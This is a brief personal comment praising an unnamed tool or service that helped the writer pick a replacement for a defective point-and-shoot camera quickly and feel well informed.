Used it for the first time yesterday to replace my defective point-and-shoot camera (which is a longer story, but one I'm not telling today) and it was fantastic to spend so little time making a decision. We'll see how it works out long run, but it's already saved me hours of my life and I came away feeling pretty close to as informed as I do after reading All The Reviews. Win!